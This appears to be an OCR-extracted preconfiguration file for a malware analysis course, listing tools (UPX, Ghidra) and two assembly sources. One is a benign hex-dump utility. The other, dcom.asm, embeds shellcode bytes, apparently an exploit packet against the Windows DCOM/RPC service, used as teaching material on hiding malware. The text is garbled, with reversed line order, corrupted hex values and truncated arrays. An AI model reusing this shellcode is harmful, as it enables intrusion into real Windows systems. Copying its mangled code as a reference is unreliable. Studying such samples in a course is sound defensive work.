## **PreConfiguration File**

This file contains details of the software and virtual machine configuration changes required to support the Complete Malware Analysis course. Each requirement is noted in the relevant course module, but you may wish to pre-load the software to avoid having to wait when working through each video. All software is downloaded to and installed in Kali unless otherwise noted.

Video Title	Item	Details
03_01 Hiding malware	dcom.asm	.386
		.model flat, stdcall
		option casemap :none
		include \masm32\include\windows.inc
		include \masm32\include\kernel32.inc
		include \masm32\include\user32.inc
		includelib \masm32\lib\kernel32.lib
		includelib \masm32\lib\user32.lib
		.data
		Packet db 90h, 90h, 90h, 90h, 90h, 90h, 90h, 0EBh, 19h, 5Eh, 31h, 0C9h, 81h, 0E9h, 89h, 0FFh, 0FFh, 0FFh, 0FFh, 0B1h, 36h, 80h, 0BFh, 32h, 94h, 81h, 0EEh, 0FCh, 0FFh, 0FFh, 0FFh, 0F2h db 0EBh, 05h, 0E8h, 0E2h, 0FFh, 0FFh, 0FFh, 0Fh, 03h, 53h, 06h, 1Fh, 74h, 57h, 75h, 95h, 80h, 0BFh, 0BBh, 92h, 7Fh, 89h, 5Ah, 1Ah, 0CEh, 0B1h, 0DEh, 7Ch, 0E1h, 0BEh, 32h, 94h, 09h p2 db 0F9h, 3Ah, 6Bh, 0B6h, 0D7h, 9Fh, 4Dh, 85h, 71h, 0DAh, 0C6h, 81h, 0BFh, 32h, 1Dh, 0C6h, 0B3h, 5Ah, 0F8h, 0ECh, 0BFh, 32h, 0FCh, 0B3h, 8Dh, 1Ch, 0F0h, 0E8h, 0C8h, 41h, 0A6h, 0DFh p3 db 0EBh, 0CDh, 0C2h, 88h, 36h, 74h, 90h, 7Fh, 89h, 5Ah, 0E6h, 7Eh, 0Ch, 24h, 7Ch, 0ADh, 0BEh, 32h, 94h, 09h, 0F9h, 22h, 6Bh, 0B6h, 0D7h, 4Ch, 4Ch, 62h, 0CCh, 0DAh, 8Ah, 81h p4 db 0BFh, 32h, 1Dh, 0C6h, 0ABh, 0CDh, 0E2h, 84h, 0D7h, 0F9h, 79h, 7Ch, 84h, 0DAh, 9Ah, 81h,
		0BFh, 32h, 1Dh, 0C6h, 0A7h, 0CDh, 0E2h, 84h, 0D7h, 0EBh, 9Dh, 75h, 12h, 0DAh, 6Ah, 80h p5 db 0BFh, 32h, 1Dh, 0C6h, 0A3h, 0CDh, 0E2h, 84h, 0D7h, 96h, 8Eh, 0F0h, 78h, 0DAh, 7Ah, 80h, 0BFh, 32h, 1Dh, 0C6h, 9Fh, 0CDh, 0E2h, 84h, 0D7h, 96h, 39h, 0AEh, 56h, 0DAh, 4Ah, 80h p6 db 0BFh, 32h, 1Dh, 0C6h, 9Bh, 0CDh, 0E2h, 84h, 0D7h, 0D7h, 0DDh, 06h, 0F6h, 0DAh, 5Ah,
		80h,
		0BFh, 32h, 1Dh, 0C6h, 97h, 0CDh, 0E2h, 84h, 0D7h, 0D5h, 0EDh, 46h, 0C6h, 0DAh, 2Ah, 80h
		p7 db 0BFh, 32h, 1Dh, 0C6h, 93h, 01h, 6Bh, 01h, 53h, 0A2h, 95h, 80h, 0BFh, 66h, 0FCh, 81h,
		0BEh, 32h, 94h, 7Fh, 0E9h, 2Ah, 0C4h, 0D0h, 0EFh, 62h, 0D4h, 0D0h, 0FFh, 62h, 6Bh, 0D6h

		Download the latest archive for Windows x64, and unzip it.
04_04	UPX	https://upx.github.io/
		end start
		invoke ExitProcess, 0
		ret
		push offset Packet
		start:
		.code
		p =
		p19 db 07h, 00h, 00h, 00h, 00h, 00h, 00h
		02h, 00h, 00h, 01h, 00h, 00h, 00h, 00h, 00
		p18 db 20h, 00h, 00h, 00h, 30h, 00h, 2Dh, 00h, 00h, 00h, 00h, 88h, 2Ah, 0Ch, 00h,
		p17 db 31h, 00h, 2Eh, 00h, 64h, 00h, 6Fh, 00h, 63h, 00h, 00h, 00h, 01h, 10h, 08h, 00h, 0CCh, 0CCh, 0CCh, 0CCh
		31h, 00h, 31h, 00h
		p16 db 44h, 00h, 5Ch, 00h, 31h, 00h, 32h, 00h, 33h, 00h, 34h, 00h, 35h, 00h, 36h, 00h, 31h, 00h, 00h, 00h, 00h, 00h, 00h, 00h, 0
		6Ah, 6Dh, 0CAh, 0DDh, 0E4h, 0F0h, 90h, 80h, 2Fh, 0A2h, 04h, 00h, 5Ch, 00h, 43h, 00h
		p15 db 0F4h, 0B9h, 0CEh, 9Ch, 0BCh, 0EFh, 1Fh, 84h, 34h, 31h, 51h, 6Bh, 0BDh, 01h, 54h, 0Bh,
		54h, OCOh, OAFh, OFCh, 9Bh, 26h, 0E1h, 61h, 34h, 68h, 0B0h, 83h, 62h, 54h, 1Fh, 8Ch
		p14 db 4Ah, 01h, 6Bh, 7Ch, 8Ch, 0F2h, 38h, 0BAh, 7Bh, 46h, 93h, 41h, 70h, 3Fh, 97h, 78h,
		6Ah, 0B9h, 0DEh, 98h, 34h, 68h, 0B4h, 83h, 62h, 0D1h, 0A6h, 0C9h, 34h, 06h, 1Fh, 83h
		p13 db 0ECh, 67h, 0C2h, 0D7h, 34h, 5Eh, 0B0h, 98h, 34h, 77h, 0A8h, 0Bh, 0EBh, 37h, 0ECh, 83h,
		34h, 72h, 0A0h, 0Bh, 17h, 8Ah, 94h, 80h, 0BFh, 0B9h, 51h, 0DEh, 0E2h, 0F0h, 90h, 80h
		p12 db 3Ah, 0F2h, 0ECh, 8Ch, 34h, 72h, 98h, 0Bh, 0CFh, 2Eh, 39h, 0Bh, 0D7h, 3Ah, 7Fh, 89h,
		77h, 65h, 6Bh, 0D6h, 93h, 0CDh, 0C2h, 94h, 0EAh, 64h, 0F0h, 21h, 8Fh, 32h, 94h, 80h
		p11 db 0C9h, 02h, 0C5h, 7Fh, 0E9h, 22h, 1Fh, 4Ch, 0D5h, 0CDh, 6Bh, 0B1h, 40h, 64h, 98h, 0Bh,
		9Bh, 62h, 19h, 0C4h, 9Bh, 22h, 0C0h, 0D0h, 0EEh, 63h, 0C5h, 0EAh, 0BEh, 63h, 0C5h, 7Fh
		p10 db 0AFh, 76h, 6Ah, 0C4h, 9Bh, 0Fh, 1Dh, 0D4h, 9Bh, 7Ah, 1Dh, 0D4h, 9Bh, 7Eh, 1Dh, 0D4h,
		32h, 0Eh, 0B0h, 0B3h, 7Fh, 01h, 5Dh, 03h, 7Eh, 27h, 3Fh, 62h, 42h, 0F4h, 0D0h, 0A4h
		0D4h,
		p9 db 0D7h, 57h, 0ECh, 0E5h, 0BFh, 5Ah, 0F7h, 0EDh, 0DBh, 1Ch, 1Dh, 0E6h, 8Fh, 0B1h, 78h,
		40h, 64h, 0B4h, 0D7h, 0ECh, 0CDh, 0C2h, 0A4h, 0E8h, 63h, 0C7h, 7Fh, 0E9h, 1Ah, 1Fh, 50h

hexer.as	m .Const
nexer.as	
	GENERIC_READ equ 080000000h
	GENERIC_WRITE equ 40000000h
	OPEN_EXISTING equ 3
	FILE_ATTRIBUTE_NORMAL equ 080h
	INVALID_FILE_HANDLE equ -1
	.Data
	hInst dq 0
	hin dq 0
	hout dq 0
	hfile dq 0
	bin dd 0
	bout dd 0
	;
	htitle db 'FILE READER',0dh,0ah
	hprompt db 'Enter file name: '
	badfile db "Can't find that file, sorry",0Dh,0Ah
	strbuff db 128 dup 0
	outline db 80 dup 0
	db 0dh,0Ah
	.Code
	· · · · · · · · · · · · · · · · · · ·
	·
	Invoke Main
	Invoke ExitProcess,0
	;======================================
	Invoke ExitProcess,0

```
; make displayable hex word in ebx from al
hexch:
  push eax
  and eax,0Fh
                              ; get nibble
  add al,30h
                              ; assume its numeric
  cmp al,39h
                              ; check
 jle >
  add al,7
                              ; if not make it uppercase alpha
: mov bh,al
                              ; store in bh (note endian switch when we store)
  pop eax
  shr al,4
                              ; move top nibble to bottom
  add al,30h
                              ; assume its numeric
  cmp al,39h
                              ; check
 jle >
  add al,7
                              ; if not make it uppercase alpha
: mov bl,al
                              ; store in bl
  ret
getfilename FRAME
  uses eax, ebx,edi
 invoke WriteFile,[hout],addr htitle,13,addr bout,0
 invoke GetCommandLineA
: mov bl,[eax]
                              ; get next character from path\executable
                              ; is this zero?
  test bl,bl
       >nofile
                              ; end of command line so no arguments
  inc eax
  cmp bl,020h
                              ; is it a space?
 je >getfile
                              ; yes means there's a command line argument coming
 jmp <
getfile:
  mov edi, addr strbuff
: inc eax
                              ; next character...
  mov bl,[eax]
                               ; move next filename char to strbuff
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mov [edi],bl
                              ; store character into strbuff
                              ; have we reached end of filename?
  cmp bl,00h
  je >gotname
  inc edi
 jmp <
nofile:
  invoke WriteFile,[hout],addr hprompt,17,addr bout,0
 invoke ReadFile,[hin], addr strbuff,128,addr bin,0
  mov eax,[bin]
  sub eax,2
  mov b[strbuff+eax],00h
gotname:
 ret
EndF
Main Frame
 invoke getfilename
  ; open file
  invoke CreateFileA,ADDR strbuff,GENERIC_READ,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
  mov [hfile], eax
  cmp eax,INVALID FILE HANDLE
        >badfilename
  invoke GetFileSize,[hfile],0
  mov r15, eax
      r14,r14
  xor
loopread:
       ; space fill the output line
  mov d[outline],20202020h
                                             ; space fill first doubleword
  mov ecx,19
                                             ; set repeat count to 19
  mov esi, addr outline
                                             ; source starts at first double word
  mov edi, addr outline + 4
                                             ; destination starts at second doubleword
```

```
rep movsd
                                             ; clear the complete line
  mov edi, addr outline
                                             ; position in outline
  ;-----
  ; write address in hex
                                             ; prepare for 4 byte (32 bit) addressing
  mov ecx,4
  mov eax,r14
                                             ; get current file position
                                             ; swap to put out most significant byte first
  bswap eax
: call hexch
                                             ; get displayable hex representation of al
  mov [edi],bx
                                             ; write out
  add edi,2
                                             ; update output line pointer
       shr eax,8
                                             ; position at next
  loop <
                                             ; and go back to do it
  add edi,2
                                             ; position ready for file data
  ; file read next chunk
  xor rax,rax
  mov [strbuff],rax
  mov [strbuff+8],rax
  invoke ReadFile,[hfile],addr strbuff,16,addr bin,0
  ;-----
  ; display ascii form
  xor ecx,ecx
alpha:
  mov al,[strbuff+ecx]
                                             ; get next character
  cmp al,20h
 jge >
                                             ; below the lowest printable character?
  mov al,02Eh
                                             ; yes - make it a period
: cmp al,7Eh
                                             ; above the highest printable character?
 jle >
 mov al,02Eh
                                             ; yes - make it a period
: mov [edi],al
                                             ; store in print line
  inc edi
  inc ecx
```

```
; repeat for 16 byte block
 cmp ecx,16
 jl alpha
                                         ; position for hex
 add edi,2
 ;-----
 ; display hex form
 xor ecx,ecx
hexa:
 mov al,[strbuff+ecx]
                                        ; get next character
 call hexch
 mov [edi],bx
                                         ; write out
 add edi,2
 inc ecx
 cmp ecx,16
                                        ; repeat for 16 byte block
 jl hexa
  ;-----
 ; end of setup, write line
 invoke WriteFile,[hout],addr outline,82,addr bout,0
 ; increase position in file, decrease bytes to write, are we finished?
 add r14,16
 sub r15,16
 jg loopread
  ;-----
 ; tidy up
 invoke CloseHandle,[hfile]
 invoke CloseHandle,[hin]
 invoke CloseHandle,[hout]
  ret
  ;-----
 ; CreateFile fails
badfilename:
 invoke WriteFile,[hout],addr badfile,32,addr bout,0
  ret
```

		EndF
04_05	Ghida	https://ghidra-sre.org
		Download the latest archive and unzip it.
		Note you need to have the Java Development Kit (JDK) installed to run this